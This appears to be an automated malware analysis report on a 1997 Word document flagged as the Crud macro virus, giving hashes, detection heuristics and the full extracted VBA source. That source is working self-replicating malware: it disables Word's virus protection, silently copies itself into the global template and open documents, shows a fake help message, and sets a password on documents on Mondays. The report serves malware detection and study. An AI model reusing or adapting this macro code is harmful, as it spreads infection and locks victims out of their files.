Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 795ac61c1de4e570…

MALICIOUS

Office (OLE)

57.5 KB Created: 1997-04-13 16:26:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 61992512af00887fa3fd63ca1e873f2e SHA-1: 164a4e8a67a5428aaaa9b8ae6dbced784c0b6488 SHA-256: 795ac61c1de4e5700d8dded4e6552c3ad01915ef3090718ac8057f741de12c7a
256 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The sample contains legacy WordBasic macro virus markers and VBA macros, including AutoOpen and AutoClose routines. The AutoOpen macro attempts to copy its 'Crud' VBA component to both the active document and the global template, indicating an attempt to establish persistence and spread. The presence of ClamAV detections like 'Doc.Trojan.Beauty-1' and 'Doc.Trojan.Crud-1' further supports its malicious nature.

Heuristics 6

  • ClamAV: Doc.Trojan.Beauty-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Beauty-1
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
        Options.VirusProtection = False
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
    Sub AutoClose()
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 5081 bytes
SHA-256: 3aa3134cb568a87f06bd38ccce1c1f7fc2bb7d4c2bde8ee24492d21cd3f829ce
Detection
ClamAV: Doc.Trojan.Crud-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Crud"
Sub AutoOpen()
On Error GoTo EifelCrud

    Application.ScreenUpdating = False
    Application.DisplayAlerts = wdAlertsNone

    WordBasic.DisableAutoMacros 0
    Options.VirusProtection = False

    Set ActiveDoc = ActiveDocument
    Set GlobalDoc = NormalTemplate

    DocumentInstalled = False
    GlobalInstalled = False

    For I = 1 To ActiveDocument.VBProject.VBComponents.Count
        If ActiveDocument.VBProject.VBComponents(I).Name = "Crud" Then
            DocumentInstalled = True
        End If
   Next
  
   For J = 1 To NormalTemplate.VBProject.VBComponents.Count
        If NormalTemplate.VBProject.VBComponents(J).Name = "Crud" Then
            GlobalInstalled = True
        End If
    Next

    If DocumentInstalled = False Then
        Application.OrganizerCopy Source:=NormalTemplate.FullName, Destination:=ActiveDocument.FullName, Name:="Crud", Object:=wdOrganizerObjectProjectItems
        ActiveDoc.SaveAs FileName:=ActiveDoc.Name, FileFormat:=wdFormatTemplate
        
    End If

    If GlobalInstalled = False Then
        Application.OrganizerCopy Source:=ActiveDocument.FullName, Destination:=NormalTemplate.FullName, Name:="Crud", Object:=wdOrganizerObjectProjectItems
        Options.SaveNormalPrompt = False
        
    End If

    Application.DisplayAlerts = wdAlertsAll

EifelCrud:

End Sub

Sub AutoClose()
On Error GoTo EifelCrud

    Application.ScreenUpdating = False
    Application.DisplayAlerts = wdAlertsNone

    WordBasic.DisableAutoMacros 0
    Options.VirusProtection = False

    Set ActiveDoc = ActiveDocument
    Set GlobalDoc = NormalTemplate

    DocumentInstalled = False
    GlobalInstalled = False

    For I = 1 To ActiveDocument.VBProject.VBComponents.Count
        If ActiveDocument.VBProject.VBComponents(I).Name = "Crud" Then
            DocumentInstalled = True
        End If
    Next

    For J = 1 To NormalTemplate.VBProject.VBComponents.Count
        If NormalTemplate.VBProject.VBComponents(J).Name = "Crud" Then
            GlobalInstalled = True
        End If
    Next
    
     If DocumentInstalled = False Then
        Application.OrganizerCopy Source:=NormalTemplate.FullName, Destination:=ActiveDocument.FullName, Name:="Crud", Object:=wdOrganizerObjectProjectItems
        ActiveDoc.SaveAs FileName:=ActiveDoc.Name, FileFormat:=wdFormatTemplate
        
    End If

    If GlobalInstalled = False Then
        Application.OrganizerCopy Source:=ActiveDocument.FullName, Destination:=NormalTemplate.FullName, Name:="Crud", Object:=wdOrganizerObjectProjectItems
        Options.SaveNormalPrompt = False
        
    End If

    Application.DisplayAlerts = wdAlertsAll

EifelCrud:

End Sub

Sub FileSaveAs()

    Dialogs(wdDialogFileSaveAs).Show

On Error GoTo EifelCrud

    Application.ScreenUpdating = False
    Application.DisplayAlerts = wdAlertsNone

    WordBasic.DisableAutoMacros 0
    Options.VirusProtection = False

    Set ActiveDoc = ActiveDocument
    Set GlobalDoc = NormalTemplate

    DocumentInstalled = False
    GlobalInstalled = False

    For I = 1 To ActiveDocument.VBProject.VBComponents.Count
        If ActiveDocument.VBProject.VBComponents(I).Name = "Crud" Then
            DocumentInstalled = True
        End If
    Next

    For J = 1 To NormalTemplate.VBProject.VBComponents.Count
        If NormalTemplate.VBProject.VBComponents(J).Name = "Crud" Then
            GlobalInstalled = True
        End If
    Next
    
     If DocumentInstalled = False Then
        Application.OrganizerCopy Source:=NormalTemplate.FullName, Destination:=ActiveDocument.FullName, Name:="Crud", Object:=wdOrganizerObjectProjectItems
        ActiveDoc.SaveAs FileName:=ActiveDoc.Name, FileFormat:=wdFormatTemplate
        
    End If

    If GlobalInstalled = False Then
        Application.OrganizerCopy Source:=ActiveDocument.FullName, Destination:=NormalTemplate.FullName, Name:="Crud", Object:=wdOrganizerObjectProjectItems
        Options.SaveNormalPrompt = False
        
    End If

    Application.DisplayAlerts = wdAlertsAll

EifelCrud:

End Sub
Sub ToolsMacro()
On Error GoTo EifelCrud
With Assistant.NewBalloon
 .BalloonType = msoBalloonTypeBullets
 .Icon = msoIconTip
 .Button = msoButtonSetOkCancel
 .Heading = "Help !!"
 .Text = "That option is not installed, please install the HELP files to continue"
 .Button = msoButtonSetOK
 .Show
End With

EifelCrud:

End Sub
Sub ToolsProofing()

On Error GoTo EifelCrud

If WeekDay(Now()) = 2 Then
Set Pass = ActiveDocument
Pass.Password = "EifelCrud97"
Else
End If

Dialogs(wdDialogToolsSpellingAndGrammar).Show

Application.DisplayAlerts = wdAlertsAll

EifelCrud:

End Sub

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